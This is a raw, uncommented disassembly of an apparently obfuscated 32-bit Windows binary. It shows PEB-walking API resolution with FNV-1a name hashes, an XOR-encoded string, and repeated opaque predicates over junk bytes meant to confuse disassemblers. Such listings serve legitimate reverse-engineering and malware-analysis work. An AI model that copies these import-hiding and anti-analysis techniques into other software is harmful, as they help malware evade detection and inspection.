jns 0x4224b7
push dword [ebp - 0x5c]
movzx esi, ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x3c0], xmm0
nop dword [eax]
xor byte [ebp + ecx - 0x3c0], 7
inc ecx
cmp ecx, 0x10
jl 0x422310
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x20], ecx
cmp ecx, edi
je 0x4223ab
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4223ab
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x28], ecx
dec edx
mov edi, 0x26f3c54c
mov dword [ebp - 8], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4223a1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422372
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
cmp edi, 0x9f628804
je 0x4223b2
mov ecx, dword [ebp - 0x28]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422352
mov eax, dword [eax]
jmp 0x42232a
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3c0]
add eax, esi
push ecx
call eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ecx], eax
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x3d0], xmm0
xor byte [ebp + eax - 0x3d0], 7
inc eax
cmp eax, 0x10
jl 0x4223f0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42248b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42248b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x92aa3dbf
mov dword [ebp - 8], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x422481
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422452
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
cmp edi, 0x44ef7a2b
je 0x422492
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422432
mov eax, dword [eax]
jmp 0x42240a
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3d0]
add eax, esi
push ecx
call eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
test eax, eax
je 0x43108c
mov ecx, dword [ecx]
mov dword [ebp - 0x40], ecx
cmp eax, ecx
jne 0x430ec8
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
xor eax, eax
movups xmmword [ebp - 0x3e0], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x3e0], 7
inc eax
cmp eax, 0x10
jl 0x4224f0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42258b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42258b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x1d197f3d
mov dword [ebp - 0x1c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x422581
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422552
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
cmp edi, 0xdb8d61ad
je 0x422592
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422532
mov eax, dword [eax]
jmp 0x42250a
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3e0]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0x40]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
add eax, 2
mov byte [ebp - 1], 0
add eax, dword [ebp - 0xac]
mov dword [ebp - 0x1c], eax
xor eax, eax
movups xmmword [ebp - 0x3f0], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x3f0], 7
inc eax
cmp eax, 0x10
jl 0x4225e0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42267b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42267b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x3de251da
mov dword [ebp - 8], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x422671
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422642
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
cmp edi, 0x498fd4ce
je 0x422682
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422622
mov eax, dword [eax]
jmp 0x4225fa
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3f0]
add eax, esi
push ecx
call eax
push dword [ebp - 0x1c]
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x40], eax
xor ecx, ecx
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x400], xmm0
nop
xor byte [ebp + ecx - 0x400], 7
inc ecx
cmp ecx, 0x10
jl 0x4226d0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42276b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42276b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x90afb096
mov dword [ebp - 8], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x422761
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422732
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
cmp edi, 0x861864a
je 0x422772
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422712
mov eax, dword [eax]
jmp 0x4226ea
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x400]
add eax, esi
push ecx
call eax
cmp dword [0x8b00e4], 0
je 0x42392e
movups xmm0, xmmword [0x7a3458]
mov al, byte [0x7a3468]
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x110], xmm0
mov byte [ebp - 0x100], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x10
jae 0x42381e
nop
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x422afa
xor eax, eax
je 0x42280d
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a37a8]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4228c7
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4228c7
mov dword [ebp - 0x29c], 1
jmp 0x42296a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42296a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x29c], eax
xor eax, eax
je 0x42296f
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a37a8]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422a29
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x422a29
mov dword [ebp - 0x298], 1
jmp 0x422acc
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422acc
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x298]
add dl, dl
mov cl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x29c]
mov byte [ebp + eax - 0x10f], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4234e6
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x422e69
xor eax, eax
je 0x422b7c
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a37a0]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422c36
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x422c36
mov dword [ebp - 0x2a4], 1
jmp 0x422cd9
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422cd9
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2a4], eax
xor eax, eax
je 0x422cde
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a37a0]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422d98
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x422d98
mov dword [ebp - 0x2a0], 1
jmp 0x422e3b
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422e3b
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2a0]
add dl, dl
mov cl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2a4]
mov byte [ebp + eax - 0x10f], cl
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x423195
xor eax, eax
je 0x422ea8
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3798]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x422f62
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x422f62
mov dword [ebp - 0x2ac], 1
jmp 0x423005
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423005
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2ac], eax
xor eax, eax
je 0x42300a
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3798]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4230c4
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4230c4
mov dword [ebp - 0x2a8], 1
jmp 0x423167
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423167
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2a8]
add dl, dl
mov cl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2ac]
mov byte [ebp + eax - 0x10f], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4234e6
mov eax, dword [ebp - 8]
sub eax, 0x14
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x4231e6
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4232a5
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4232a5
mov dword [ebp - 0x2b4], 1
jmp 0x423348
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423348
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 8]
sub eax, 0x14
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x423356
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
